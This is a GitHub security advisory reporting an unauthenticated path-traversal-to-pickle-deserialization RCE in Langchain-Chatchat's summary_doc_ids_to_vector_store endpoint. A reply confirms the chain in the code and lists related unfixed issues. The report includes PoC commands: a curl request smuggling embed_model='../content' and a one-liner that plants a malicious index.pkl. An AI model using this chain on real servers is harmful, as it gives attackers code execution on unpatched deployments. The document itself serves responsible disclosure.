# Security Vulnerability Report -- CWE-502
## Summary
summary_doc_ids_to_vector_store pickle deserialization RCE
## Vulnerability Description
**Affected Repository:** https://github.com/chatchat-space/Langchain-Chatchat
**Branch:** master
**Commit:** `49165d6af4438aa7e8a1f71ce276db55f4405151`
---
#### **summary_doc_ids_to_vector_store pickle deserialization RCE**
* **Risk Summary:** The `summary_doc_ids_to_vector_store` endpoint does not perform path validation on the `embed_model` parameter. An attacker uses path traversal (`embed_model=../content`) to redirect the FAISS vector store loading path to a malicious `index.pkl` file, combined with `FAISS.load_local(allow_dangerous_deserialization=True)` triggering `pickle.load` to execute arbitrary commands.
* **Affected Interface:**
- `POST /knowledge_base/kb_summary_api/summary_doc_ids_to_vector_store` (port 7861)
* **Exploitation Conditions:** Exploitable with default configuration, no authentication required; the target knowledge base must have a content directory (default KB creation includes one)
* **Known Status:** Unknown: No CVE, public article, Issue, or security community discussion found regarding Langchain-Chatchat's `embed_model` path traversal triggering pickle deserialization RCE via this specific path
* **Exploit PoC:**
Usage:
```bash
./poc/exploit_entry_020_pickle_rce.sh <target> <kb_name> [cmd]
./poc/exploit_entry_020_pickle_rce.sh http://127.0.0.1:7861 samples "touch /tmp/entry020_rce"
```
Exploitation chain step by step:
```bash
# Step 1: Generate malicious index.pkl (__reduce__=os.system) + legitimate index.faiss (4-dimensional IndexFlatL2) inside container
docker exec chatchat-local python3 -c "import pickle,faiss; pickle.dump(...); faiss.write_index(faiss.IndexFlatL2(4),'index.faiss')"
# Expected: index.pkl + index.faiss placed in KB content directory
# Step 2: POST summary_doc_ids_to_vector_store, embed_model=../content path traversal
curl -s -X POST http://127.0.0.1:7861/knowledge_base/kb_summary_api/summary_doc_ids_to_vector_store \
-H "Content-Type: application/json" \
-d '{"knowledge_base_name":"samples","embed_model":"../content","summary_doc_ids":["x"]}'
# Expected: HTTP 200, FAISS.load_local(allow_dangerous_deserialization=True) reads index.pkl -> pickle.load -> os.system(cmd)
# Step 3: Verify marker file exists
docker exec chatchat-local test -f /tmp/entry020_rce && echo "RCE OK"
# Expected: RCE OK <- pickle deserialization command executed
```
Note: FAISS first load_local failure holds a cache lock; need to `docker restart chatchat-local` before re-running.
## Severity
**CVSS v3.1: 9.8 (Critical)**
Vulnerability Category: CWE-502
## CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
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<!-- Answer -->
This report matches the code at that commit. `summary_doc_ids_to_vector_store` takes `knowledge_base_name`, `vs_type`, and `embed_model` straight from the request body and passes them to `KBServiceFactory.get_service()` with no validation on `embed_model` [[1]](https://github.com/chatchat-space/Langchain-Chatchat/blob/9ac1918aad52f3aa82649673dbd32efcf6450071/libs/chatchat-server/chatchat/server/knowledge_base/kb_summary_api.py#L203-L227). That resolves through `FaissKBService.do_init()`, which derives `vector_name` from `embed_model` (just replacing `:` with `_`, no path checks) [[2]](https://github.com/chatchat-space/Langchain-Chatchat/blob/9ac1918aad52f3aa82649673dbd32efcf6450071/libs/chatchat-server/chatchat/server/knowledge_base/kb_service/faiss_kb_service.py#L49-L52), and then `get_vs_path()` joins `kb_path/vector_store/<vector_name>` [[3]](https://github.com/chatchat-space/Langchain-Chatchat/blob/9ac1918aad52f3aa82649673dbd32efcf6450071/libs/chatchat-server/chatchat/server/knowledge_base/utils.py#L41-L42). Unlike `knowledge_base_name`, which at least gets a (weak) `validate_kb_name()` check elsewhere, `embed_model` never passes through any such check on this path, so `embed_model="../content"` walks the vector-store path back into the KB's `content` directory. Once there, `KBFaissPool.load_vector_store()` finds `index.faiss` and calls `FAISS.load_local(vs_path, embeddings, normalize_L2=True, allow_dangerous_deserialization=True)`, which unconditionally pickle-loads `index.pkl` from that directory [[4]](https://github.com/chatchat-space/Langchain-Chatchat/blob/9ac1918aad52f3aa82649673dbd32efcf6450071/libs/chatchat-server/chatchat/server/knowledge_base/kb_cache/faiss_cache.py#L112-L121). That confirms the full chain: unauthenticated path traversal via `embed_model` into a directory containing an attacker-planted `index.faiss` + malicious `index.pkl`, followed by `pickle.load` executing arbitrary code.
This is part of a pattern of unauthenticated path-traversal issues reported against this repo around the same commit: [#5474](https://github.com/chatchat-space/Langchain-Chatchat/issues/5474) (arbitrary file read/write, missing auth), [#5490](https://github.com/chatchat-space/Langchain-Chatchat/issues/5490) (unauthenticated recursive directory deletion via `validate_kb_name`), [#5510](https://github.com/chatchat-space/Langchain-Chatchat/issues/5510) (arbitrary file write via `upload_temp_docs`), and [#5515](https://github.com/chatchat-space/Langchain-Chatchat/issues/5515) (shell tool RCE via `/tools/call`). None of these has a merged fix; the closest existing effort, [PR #5485](https://github.com/chatchat-space/Langchain-Chatchat/pull/5485), only hardens `validate_kb_name` and doesn't touch `embed_model` handling or the `FAISS.load_local` call, so this specific `embed_model` traversal into `allow_dangerous_deserialization=True` remains unaddressed on `master`.
On the CVE request: there's currently no working private disclosure channel on this repository. Two prior requests to enable GitHub's private vulnerability reporting or provide a security contact email ([#5502](https://github.com/chatchat-space/Langchain-Chatchat/issues/5502), [#5492](https://github.com/chatchat-space/Langchain-Chatchat/issues/5492)) went unanswered and were auto-closed by the stale bot. A draft `SECURITY.md` ([PR #5493](https://github.com/chatchat-space/Langchain-Chatchat/pull/5493)) was also auto-closed when its author's fork was deleted, without being merged. A GitHub-issued CVE would require a maintainer to enable and act on GitHub Security Advisories, which is outside what I can do here.
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